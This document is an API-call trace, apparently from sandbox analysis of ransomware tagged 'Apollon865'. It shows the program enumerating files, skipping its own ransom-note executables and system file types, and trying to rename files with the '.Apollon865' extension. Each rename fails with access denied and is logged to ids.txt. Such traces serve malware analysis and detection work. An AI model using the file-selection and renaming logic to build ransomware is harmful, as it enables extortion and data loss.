	[0076.507] lstrlenW (lpString=".lnk") returned 4
	[0076.507] lstrcmpiW (lpString1="ipsptb.xml", lpString2=".lnk") returned 1
	[0076.507] lstrlenW (lpString=".ini") returned 4
	[0076.507] lstrcmpiW (lpString1="ipsptb.xml", lpString2=".ini") returned 1
	[0076.507] lstrlenW (lpString=".sys") returned 4
	[0076.507] lstrcmpiW (lpString1="ipsptb.xml", lpString2=".sys") returned 1
	[0076.507] lstrlenW (lpString="ipsptb.xml") returned 10
	[0076.507] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.Apollon865") returned 72
	[0076.507] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptb.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.507] GetLastError () returned 0x5
	[0076.507] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml MoveFileEx error 5\r\n") returned 90
	[0076.507] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptb.xml MoveFileEx error 5\r\n") returned 90
	[0076.508] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.508] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x33be
	[0076.508] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.508] CloseHandle (hObject=0x100) returned 1
	[0076.508] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.508] CloseHandle (hObject=0x0) returned 0
	[0076.508] CloseHandle (hObject=0x0) returned 0
	[0076.508] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x8c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsptg.xml", cAlternateFileName="")) returned 1
	[0076.508] lstrcmpiW (lpString1="ipsptg.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.508] lstrcmpiW (lpString1="ipsptg.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.508] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipsptg.xml" | out: lpString1="ipsptg.xml") returned="ipsptg.xml"
	[0076.508] lstrlenW (lpString="ipsptg.xml") returned 10
	[0076.508] lstrlenW (lpString="Apollon865") returned 10
	[0076.508] lstrlenW (lpString=".dll") returned 4
	[0076.508] lstrcmpiW (lpString1="ipsptg.xml", lpString2=".dll") returned 1
	[0076.509] lstrlenW (lpString=".lnk") returned 4
	[0076.509] lstrcmpiW (lpString1="ipsptg.xml", lpString2=".lnk") returned 1
	[0076.509] lstrlenW (lpString=".ini") returned 4
	[0076.509] lstrcmpiW (lpString1="ipsptg.xml", lpString2=".ini") returned 1
	[0076.509] lstrlenW (lpString=".sys") returned 4
	[0076.509] lstrcmpiW (lpString1="ipsptg.xml", lpString2=".sys") returned 1
	[0076.509] lstrlenW (lpString="ipsptg.xml") returned 10
	[0076.509] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.Apollon865") returned 72
	[0076.509] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsptg.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.509] GetLastError () returned 0x5
	[0076.509] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml MoveFileEx error 5\r\n") returned 90
	[0076.509] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsptg.xml MoveFileEx error 5\r\n") returned 90
	[0076.509] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.509] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3418
	[0076.509] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.510] CloseHandle (hObject=0x100) returned 1
	[0076.510] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.510] CloseHandle (hObject=0x0) returned 0
	[0076.510] CloseHandle (hObject=0x0) returned 0
	[0076.510] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27d7a859, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27d7a859, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa54, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsrom.xml", cAlternateFileName="")) returned 1
	[0076.510] lstrcmpiW (lpString1="ipsrom.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.510] lstrcmpiW (lpString1="ipsrom.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.510] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipsrom.xml" | out: lpString1="ipsrom.xml") returned="ipsrom.xml"
	[0076.510] lstrlenW (lpString="ipsrom.xml") returned 10
	[0076.510] lstrlenW (lpString="Apollon865") returned 10
	[0076.510] lstrlenW (lpString=".dll") returned 4
	[0076.510] lstrcmpiW (lpString1="ipsrom.xml", lpString2=".dll") returned 1
	[0076.510] lstrlenW (lpString=".lnk") returned 4
	[0076.510] lstrcmpiW (lpString1="ipsrom.xml", lpString2=".lnk") returned 1
	[0076.510] lstrlenW (lpString=".ini") returned 4
	[0076.510] lstrcmpiW (lpString1="ipsrom.xml", lpString2=".ini") returned 1
	[0076.510] lstrlenW (lpString=".sys") returned 4
	[0076.510] lstrcmpiW (lpString1="ipsrom.xml", lpString2=".sys") returned 1
	[0076.510] lstrlenW (lpString="ipsrom.xml") returned 10
	[0076.510] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.Apollon865") returned 72
	[0076.510] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrom.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.510] GetLastError () returned 0x5
	[0076.510] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml MoveFileEx error 5\r\n") returned 90
	[0076.510] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrom.xml MoveFileEx error 5\r\n") returned 90
	[0076.511] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.511] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3472
	[0076.511] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.511] CloseHandle (hObject=0x100) returned 1
	[0076.511] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.511] CloseHandle (hObject=0x0) returned 0
	[0076.511] CloseHandle (hObject=0x0) returned 0
	[0076.511] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9ee, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipsrus.xml", cAlternateFileName="")) returned 1
	[0076.511] lstrcmpiW (lpString1="ipsrus.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.511] lstrcmpiW (lpString1="ipsrus.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.511] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipsrus.xml" | out: lpString1="ipsrus.xml") returned="ipsrus.xml"
	[0076.511] lstrlenW (lpString="ipsrus.xml") returned 10
	[0076.511] lstrlenW (lpString="Apollon865") returned 10
	[0076.511] lstrlenW (lpString=".dll") returned 4
	[0076.512] lstrcmpiW (lpString1="ipsrus.xml", lpString2=".dll") returned 1
	[0076.512] lstrlenW (lpString=".lnk") returned 4
	[0076.512] lstrcmpiW (lpString1="ipsrus.xml", lpString2=".lnk") returned 1
	[0076.512] lstrlenW (lpString=".ini") returned 4
	[0076.512] lstrcmpiW (lpString1="ipsrus.xml", lpString2=".ini") returned 1
	[0076.512] lstrlenW (lpString=".sys") returned 4
	[0076.512] lstrcmpiW (lpString1="ipsrus.xml", lpString2=".sys") returned 1
	[0076.512] lstrlenW (lpString="ipsrus.xml") returned 10
	[0076.512] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.Apollon865") returned 72
	[0076.512] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsrus.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.512] GetLastError () returned 0x5
	[0076.512] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml MoveFileEx error 5\r\n") returned 90
	[0076.513] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipsrus.xml MoveFileEx error 5\r\n") returned 90
	[0076.513] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.513] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x34cc
	[0076.513] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.513] CloseHandle (hObject=0x100) returned 1
	[0076.513] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.513] CloseHandle (hObject=0x0) returned 0
	[0076.513] CloseHandle (hObject=0x0) returned 0
	[0076.513] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27da09b6, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27da09b6, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipssrb.xml", cAlternateFileName="")) returned 1
	[0076.513] lstrcmpiW (lpString1="ipssrb.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.513] lstrcmpiW (lpString1="ipssrb.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.513] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipssrb.xml" | out: lpString1="ipssrb.xml") returned="ipssrb.xml"
	[0076.514] lstrlenW (lpString="ipssrb.xml") returned 10
	[0076.514] lstrlenW (lpString="Apollon865") returned 10
	[0076.514] lstrlenW (lpString=".dll") returned 4
	[0076.514] lstrcmpiW (lpString1="ipssrb.xml", lpString2=".dll") returned 1
	[0076.514] lstrlenW (lpString=".lnk") returned 4
	[0076.514] lstrcmpiW (lpString1="ipssrb.xml", lpString2=".lnk") returned 1
	[0076.514] lstrlenW (lpString=".ini") returned 4
	[0076.514] lstrcmpiW (lpString1="ipssrb.xml", lpString2=".ini") returned 1
	[0076.514] lstrlenW (lpString=".sys") returned 4
	[0076.514] lstrcmpiW (lpString1="ipssrb.xml", lpString2=".sys") returned 1
	[0076.514] lstrlenW (lpString="ipssrb.xml") returned 10
	[0076.514] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.Apollon865") returned 72
	[0076.514] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrb.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.514] GetLastError () returned 0x5
	[0076.514] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml MoveFileEx error 5\r\n") returned 90
	[0076.514] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrb.xml MoveFileEx error 5\r\n") returned 90
	[0076.514] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.514] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3526
	[0076.514] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.515] CloseHandle (hObject=0x100) returned 1
	[0076.515] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.515] CloseHandle (hObject=0x0) returned 0
	[0076.515] CloseHandle (hObject=0x0) returned 0
	[0076.515] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27dc6b13, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27dc6b13, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xa24, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipssrl.xml", cAlternateFileName="")) returned 1
	[0076.515] lstrcmpiW (lpString1="ipssrl.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.515] lstrcmpiW (lpString1="ipssrl.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.515] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipssrl.xml" | out: lpString1="ipssrl.xml") returned="ipssrl.xml"
	[0076.515] lstrlenW (lpString="ipssrl.xml") returned 10
	[0076.515] lstrlenW (lpString="Apollon865") returned 10
	[0076.515] lstrlenW (lpString=".dll") returned 4
	[0076.515] lstrcmpiW (lpString1="ipssrl.xml", lpString2=".dll") returned 1
	[0076.515] lstrlenW (lpString=".lnk") returned 4
	[0076.515] lstrcmpiW (lpString1="ipssrl.xml", lpString2=".lnk") returned 1
	[0076.515] lstrlenW (lpString=".ini") returned 4
	[0076.515] lstrcmpiW (lpString1="ipssrl.xml", lpString2=".ini") returned 1
	[0076.515] lstrlenW (lpString=".sys") returned 4
	[0076.515] lstrcmpiW (lpString1="ipssrl.xml", lpString2=".sys") returned 1
	[0076.515] lstrlenW (lpString="ipssrl.xml") returned 10
	[0076.515] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.Apollon865") returned 72
	[0076.515] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssrl.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.516] GetLastError () returned 0x5
	[0076.516] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml MoveFileEx error 5\r\n") returned 90
	[0076.516] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssrl.xml MoveFileEx error 5\r\n") returned 90
	[0076.516] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.516] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x3580
	[0076.516] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.516] CloseHandle (hObject=0x100) returned 1
	[0076.516] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.516] CloseHandle (hObject=0x0) returned 0
	[0076.516] CloseHandle (hObject=0x0) returned 0
	[0076.516] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x27decc70, ftCreationTime.dwHighDateTime=0x1ca03fa, ftLastAccessTime.dwLowDateTime=0x27decc70, ftLastAccessTime.dwHighDateTime=0x1ca03fa, ftLastWriteTime.dwLowDateTime=0x918b14d1, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x9d8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ipssve.xml", cAlternateFileName="")) returned 1
	[0076.516] lstrcmpiW (lpString1="ipssve.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.516] lstrcmpiW (lpString1="ipssve.xml", lpString2="Apollon865.txt.exe") returned 1
	[0076.517] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ipssve.xml" | out: lpString1="ipssve.xml") returned="ipssve.xml"
	[0076.517] lstrlenW (lpString="ipssve.xml") returned 10
	[0076.517] lstrlenW (lpString="Apollon865") returned 10
	[0076.517] lstrlenW (lpString=".dll") returned 4
	[0076.517] lstrcmpiW (lpString1="ipssve.xml", lpString2=".dll") returned 1
	[0076.517] lstrlenW (lpString=".lnk") returned 4
	[0076.517] lstrcmpiW (lpString1="ipssve.xml", lpString2=".lnk") returned 1
	[0076.517] lstrlenW (lpString=".ini") returned 4
	[0076.517] lstrcmpiW (lpString1="ipssve.xml", lpString2=".ini") returned 1
	[0076.517] lstrlenW (lpString=".sys") returned 4
	[0076.517] lstrcmpiW (lpString1="ipssve.xml", lpString2=".sys") returned 1
	[0076.517] lstrlenW (lpString="ipssve.xml") returned 10
	[0076.517] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.Apollon865") returned 72
	[0076.517] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml.Apollon865" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipssve.xml.apollon865"), dwFlags=0x1) returned 0
	[0076.517] GetLastError () returned 0x5
	[0076.517] wsprintfA (in: param_1=0x2d3d6f0, param_2="[ERROR] %S MoveFileEx error %i\r\n" | out: param_1="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml MoveFileEx error 5\r\n") returned 90
	[0076.517] lstrlenA (lpString="[ERROR] C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\ipssve.xml MoveFileEx error 5\r\n") returned 90
	[0076.517] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x100
	[0076.517] SetFilePointer (in: hFile=0x100, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x35da
	[0076.517] WriteFile (in: hFile=0x100, lpBuffer=0x2d3d6f0*, nNumberOfBytesToWrite=0x5a, lpNumberOfBytesWritten=0x2d3d2bc, lpOverlapped=0x0 | out: lpBuffer=0x2d3d6f0*, lpNumberOfBytesWritten=0x2d3d2bc*=0x5a, lpOverlapped=0x0) returned 1
	[0076.518] CloseHandle (hObject=0x100) returned 1
	[0076.518] UnmapViewOfFile (lpBaseAddress=0x0) returned 0
	[0076.518] CloseHandle (hObject=0x0) returned 0
	[0076.518] CloseHandle (hObject=0x0) returned 0
	[0076.518] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd7ecb1a, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd7ecb1a, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="it-IT", cAlternateFileName="")) returned 1
	[0076.518] lstrcmpiW (lpString1="it-IT", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.518] lstrcmpiW (lpString1="it-IT", lpString2="Apollon865.txt.exe") returned 1
	[0076.518] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="it-IT" | out: lpString1="it-IT") returned="it-IT"
	[0076.518] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7aa8
	[0076.518] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591cc0
	[0076.518] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7ab0 | out: ListHead=0x5b76b0, ListEntry=0x5b7ab0) returned 0x59fc50
	[0076.518] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd7ecb1a, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd812c74, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd812c74, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ja-JP", cAlternateFileName="")) returned 1
	[0076.518] lstrcmpiW (lpString1="ja-JP", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0076.518] lstrcmpiW (lpString1="ja-JP", lpString2="Apollon865.txt.exe") returned 1
	[0076.518] lstrcpyW (in: lpString1=0x2d3e5b6, lpString2="ja-JP" | out: lpString1="ja-JP") returned="ja-JP"
	[0076.518] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x59fc68
	[0076.518] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x72) returned 0x591d40
	[0076.519] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x59fc70 | out: ListHead=0x5b76b0, ListEntry=0x59fc70) returned 0x5b7ab0
